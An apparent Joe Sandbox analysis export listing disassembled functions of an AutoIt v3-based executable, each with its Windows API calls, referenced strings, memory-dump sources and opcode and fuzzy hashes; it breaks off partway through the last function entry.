Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00E42B6B

Part of subcall function 00E43A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00F11418,?,00E42E7F,?,?,?,00000000), ref: 00E43A78

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00F02224), ref: 00E82C10
ShellExecuteW.SHELL32(00000000,?,?,00F02224), ref: 00E82C17

Strings

runas, xrefs: 00E82C0B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 91ccb7d301ecea2c44e6622eebce02e93fdbbd6b1cf3b1bc7a50ffec73823a37
Instruction ID: f46fb37f4ff973cf8c4d50e6498dad5a10b0db843badc3088fa0bd293791ae82
Opcode Fuzzy Hash: 91ccb7d301ecea2c44e6622eebce02e93fdbbd6b1cf3b1bc7a50ffec73823a37
Instruction Fuzzy Hash: 7B11E1316083056AC704FF70F8559AEB7E4EB95744F84342DF286320A3CF618A49E712

Function 00E64CE8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00E728E9,(,00E64CBE,00000000,00F088B8,0000000C,00E64E15,(,00000002,00000000,?,00E728E9,00000003,00E72DF7,?,?), ref: 00E64D09
TerminateProcess.KERNEL32(00000000,?,00E728E9,00000003,00E72DF7,?,?,?,00E6E6D1,?,00F08A48,00000010,00E44F4A,?,?,00000000), ref: 00E64D10
ExitProcess.KERNEL32 ref: 00E64D22

Strings

(, xrefs: 00E64CEA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: (
API String ID: 1703294689-2063206799
Opcode ID: b5860e9e460eb4ceea710090459c600ffbc555e125f38bdedb824db3c44d2c11
Instruction ID: 4134db315a9462d3e302e5a3d5ab8be46796b55628e27341bbf3d3b8cd90d96b
Opcode Fuzzy Hash: b5860e9e460eb4ceea710090459c600ffbc555e125f38bdedb824db3c44d2c11
Instruction Fuzzy Hash: 91E0B6B1441149AFCF11AF65FD09A583B69EB417C5F209055FC09AB162CB35DD46DA80

Function 00ECA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00ECA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00ECA6BA

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Process32NextW.KERNEL32(00000000,?), ref: 00ECA79C
CloseHandle.KERNELBASE(00000000), ref: 00ECA7AB

Part of subcall function 00E5CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00E83303,?), ref: 00E5CE8A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 31a8ef45f27adf08df45fa9982a968306eb99e303f17edb048e87d61181212b1
Instruction ID: 78e3bbbdce3cd18381c443bedbadbf74291c25bc87c9c8e9f877c29257eb3706
Opcode Fuzzy Hash: 31a8ef45f27adf08df45fa9982a968306eb99e303f17edb048e87d61181212b1
Instruction Fuzzy Hash: A3517B71508300AFD314EF24D886E6BBBE8FF89754F04592DF985A7262EB31D905CB92

Function 00ECAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00ECB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB1D4
_wcslen.LIBCMT ref: 00ECB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00ECB236
_wcslen.LIBCMT ref: 00ECB332

Part of subcall function 00EB05A7: GetStdHandle.KERNEL32(000000F6), ref: 00EB05C6

_wcslen.LIBCMT ref: 00ECB34B
_wcslen.LIBCMT ref: 00ECB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00ECB3B6
GetLastError.KERNEL32(00000000), ref: 00ECB407
CloseHandle.KERNEL32(?), ref: 00ECB439
CloseHandle.KERNEL32(00000000), ref: 00ECB44A
CloseHandle.KERNEL32(00000000), ref: 00ECB45C
CloseHandle.KERNEL32(00000000), ref: 00ECB46E
CloseHandle.KERNEL32(?), ref: 00ECB4E3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 3c3a5d3aeea8ef1dbc8507b9a76c1d882982e65b02e334f8906f05b916819a9a
Instruction ID: dce77466a729df91e970f1096f030c4562abbc21dc1dc3e8d5a18bc0250a01b3
Opcode Fuzzy Hash: 3c3a5d3aeea8ef1dbc8507b9a76c1d882982e65b02e334f8906f05b916819a9a
Instruction Fuzzy Hash: EEF18B315083409FC714EF24D982B6EBBE5AF85314F14995DF899AB2A2DB32EC05CB52

Function 00E4D7CB Relevance: 21.6, APIs: 14, Instructions: 579windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00E4D807
timeGetTime.WINMM ref: 00E4DA07
PeekMessageW.USER32(?), ref: 00E4DB28
TranslateMessage.USER32(?), ref: 00E4DB7B
DispatchMessageW.USER32(?), ref: 00E4DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E4DB9F
Sleep.KERNELBASE(0000000A), ref: 00E4DBB1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: b38c1e0db6b6976ccbfd7152d5952dfabfdfb347069a11f50e62a08a8d1f3934
Instruction ID: 76e950fc517d326a126ad6d4ba2887cbe8280b2359fa1bcecc8b89633475a5ee
Opcode Fuzzy Hash: b38c1e0db6b6976ccbfd7152d5952dfabfdfb347069a11f50e62a08a8d1f3934
Instruction Fuzzy Hash: AE32C330608342EFDB28CF24DC84BAAB7E1FF85308F14A55EE655A7291D771E844DB92

Function 00E42CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E42D07
RegisterClassExW.USER32(00000030), ref: 00E42D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E42D42
InitCommonControlsEx.COMCTL32(?), ref: 00E42D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E42D6F
LoadIconW.USER32(000000A9), ref: 00E42D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E42D94

Strings

TaskbarCreated, xrefs: 00E42D37
0, xrefs: 00E42CE9
+, xrefs: 00E42CF0
AutoIt v3 GUI, xrefs: 00E42D23

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: e3eca67da570ad60c6a6598418e2ae9f57f3b6c9952d7a7486d496ab682d46b0
Instruction ID: 9e39ca80f39dd0b3fcf4dccf48b19d012682b3a6d84ee8955da06bb7fa249718
Opcode Fuzzy Hash: e3eca67da570ad60c6a6598418e2ae9f57f3b6c9952d7a7486d496ab682d46b0
Instruction Fuzzy Hash: C221B2B590221DAFDB00DFA5E849BDDBBB8FB08741F10811BE621B62A0D7B14544DF91

Function 00E8065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E8039A: CreateFileW.KERNELBASE(00000000,00000000,?,00E80704,?,?,00000000,?,00E80704,00000000,0000000C), ref: 00E803B7

GetLastError.KERNEL32 ref: 00E8076F
__dosmaperr.LIBCMT ref: 00E80776
GetFileType.KERNELBASE(00000000), ref: 00E80782
GetLastError.KERNEL32 ref: 00E8078C
__dosmaperr.LIBCMT ref: 00E80795
CloseHandle.KERNEL32(00000000), ref: 00E807B5
CloseHandle.KERNEL32(?), ref: 00E808FF
GetLastError.KERNEL32 ref: 00E80931
__dosmaperr.LIBCMT ref: 00E80938

Strings

H, xrefs: 00E808BD

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: bb69f6e68918d2510af801f9492ac9b0690b822613d4545590ae60814c7113f8
Instruction ID: ae7644bbac790e77f938957f31d143e5fc07c5f795180ae25235f0550d80ef6d
Opcode Fuzzy Hash: bb69f6e68918d2510af801f9492ac9b0690b822613d4545590ae60814c7113f8
Instruction Fuzzy Hash: ACA12832A001088FDF19FF68D852BAD7BE0EB46324F14515AF819BB2A1DB319857DB91

Function 00E4344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E43A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00F11418,?,00E42E7F,?,?,?,00000000), ref: 00E43A78

Part of subcall function 00E43357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E43379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00E4356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00E8318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00E831CE
RegCloseKey.ADVAPI32(?), ref: 00E83210
_wcslen.LIBCMT ref: 00E83277
_wcslen.LIBCMT ref: 00E83286

Strings

\Include\, xrefs: 00E43527
\, xrefs: 00E8328C
Software\AutoIt v3\AutoIt, xrefs: 00E43560
Include, xrefs: 00E83184, 00E831C5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 14e079fa1258ca63a565cfaf47d185dbcdb224e4794fb88a85bbee73ced8b0d7
Instruction ID: 57395be05b935978e8c3e4806856c8ef9ad9b418b38b557ed1ab86f643a0d5ec
Opcode Fuzzy Hash: 14e079fa1258ca63a565cfaf47d185dbcdb224e4794fb88a85bbee73ced8b0d7
Instruction Fuzzy Hash: FA71D2714053059EC304EFA9EC8299BBBE8FF84740F41682EF559E31B1EB348A58DB52

Function 00E42B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00E42B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00E42B9D
LoadIconW.USER32(00000063), ref: 00E42BB3
LoadIconW.USER32(000000A4), ref: 00E42BC5
LoadIconW.USER32(000000A2), ref: 00E42BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00E42BEF
RegisterClassExW.USER32(?), ref: 00E42C40

Part of subcall function 00E42CD4: GetSysColorBrush.USER32(0000000F), ref: 00E42D07
Part of subcall function 00E42CD4: RegisterClassExW.USER32(00000030), ref: 00E42D31
Part of subcall function 00E42CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00E42D42
Part of subcall function 00E42CD4: InitCommonControlsEx.COMCTL32(?), ref: 00E42D5F
Part of subcall function 00E42CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00E42D6F
Part of subcall function 00E42CD4: LoadIconW.USER32(000000A9), ref: 00E42D85
Part of subcall function 00E42CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00E42D94

Strings

#, xrefs: 00E42C16
AutoIt v3, xrefs: 00E42C2F
0, xrefs: 00E42C0F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 0b06074dbe8a0b1bb6dff4812a178da5b4f906c99f0348c7573943ad9342f674
Instruction ID: a8e15f0da920cc09ad9ab405f9d24cefa9c2440b6be9bc3cc87eaad3762d1764
Opcode Fuzzy Hash: 0b06074dbe8a0b1bb6dff4812a178da5b4f906c99f0348c7573943ad9342f674
Instruction Fuzzy Hash: AD212C70E02318AFDB109FA6EC55ADABFB4FB48B50F11801BF610B66A4D7B11554EF90

Function 00E43170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00E4316A,?,?), ref: 00E431D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00E4316A,?,?), ref: 00E43204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00E43227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00E4316A,?,?), ref: 00E43232
CreatePopupMenu.USER32 ref: 00E43246
PostQuitMessage.USER32(00000000), ref: 00E43267

Strings

TaskbarCreated, xrefs: 00E4322D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: f7c228720415c08cf19b2f9c5632b89c4a202a4f937433db8c9d84fd3e5b4f78
Instruction ID: 2a377c38c5a62043a303c5bc28dd601c09dcf0c99326e1c8e4def471f4382e36
Opcode Fuzzy Hash: f7c228720415c08cf19b2f9c5632b89c4a202a4f937433db8c9d84fd3e5b4f78
Instruction Fuzzy Hash: D6417B30200208ABDF142B78BC1DBF93B59F705348F14711AFA1AB62E2C7B1AB40E765

Function 00E41410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00E41459
CoUninitialize.COMBASE ref: 00E414F8
UnregisterHotKey.USER32(?), ref: 00E416DD
DestroyWindow.USER32(?), ref: 00E824B9
FreeLibrary.KERNEL32(?), ref: 00E8251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E8254B

Strings

close all, xrefs: 00E41454

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 513f480cfa241c41db9ef6163e403730fa4291f942aba920b6ec81b4b012450e
Instruction ID: 247d0ed9c3b6ab31c48383703fe400d250eeeb04436db2860942dca53c3ab03f
Opcode Fuzzy Hash: 513f480cfa241c41db9ef6163e403730fa4291f942aba920b6ec81b4b012450e
Instruction Fuzzy Hash: 66D18A307012128FCB19EF15E499A69F7A0BF05304F2462AEE94E7B262DB30EC52CF51

Function 00E42C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00E42C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00E42CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00E41CAD,?), ref: 00E42CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00E41CAD,?), ref: 00E42CCF

Strings

edit, xrefs: 00E42CAC
AutoIt v3, xrefs: 00E42C89, 00E42C8E, 00E42C8F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: edabfae8857b9f2b0d488673203de7f344c6027160587d23f67ca3b683416563
Instruction ID: bc9f3359cccb8720cea0bde07ff5bc6fc13a9419a90f451349e5538d3cdab25a
Opcode Fuzzy Hash: edabfae8857b9f2b0d488673203de7f344c6027160587d23f67ca3b683416563
Instruction Fuzzy Hash: FBF030755402947AEB3007236C08EB77E7DE7C6F50F11411AFA10A2164C2620841EE70

Function 00E43B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00E43B0F,SwapMouseButtons,00000004,?), ref: 00E43B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00E43B0F,SwapMouseButtons,00000004,?), ref: 00E43B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00E43B0F,SwapMouseButtons,00000004,?), ref: 00E43B83

Strings

Control Panel\Mouse, xrefs: 00E43B3E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 482f5a63ae74c4e05fc42eeb24220e8eb646d3054667ce40dfdb7971b4ba7af5
Instruction ID: 5517fabbf46f0f47191e03271727cad77295ae5b31aeaf5da3a64507aa719665
Opcode Fuzzy Hash: 482f5a63ae74c4e05fc42eeb24220e8eb646d3054667ce40dfdb7971b4ba7af5
Instruction Fuzzy Hash: DD112AB5511208FFDB218FA5EC44AEEB7B9EF04784B10955AA805E7110D2319E449760

Function 00E91C90 Relevance: 6.0, APIs: 4, Instructions: 50windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00E4DB7B
DispatchMessageW.USER32(?), ref: 00E4DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E4DB9F
Sleep.KERNELBASE(0000000A), ref: 00E4DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00E91CC9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 8a911fc0d3e61309f5eb53332e4e2913e90dbdadb7b827d3cd66c69e4917c062
Instruction ID: a74cc014d6c2a22aecac5791dfb7e83dd9590c4e05a70ac71644eb66446a58ca
Opcode Fuzzy Hash: 8a911fc0d3e61309f5eb53332e4e2913e90dbdadb7b827d3cd66c69e4917c062
Instruction Fuzzy Hash: 3411CE307093469FEB38CB31EC98FA677A8EF45354F24555AE609A7091DB30E848DB15

Function 00E43923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00E833A2

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00E43A04

Strings

Line: , xrefs: 00E833EB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
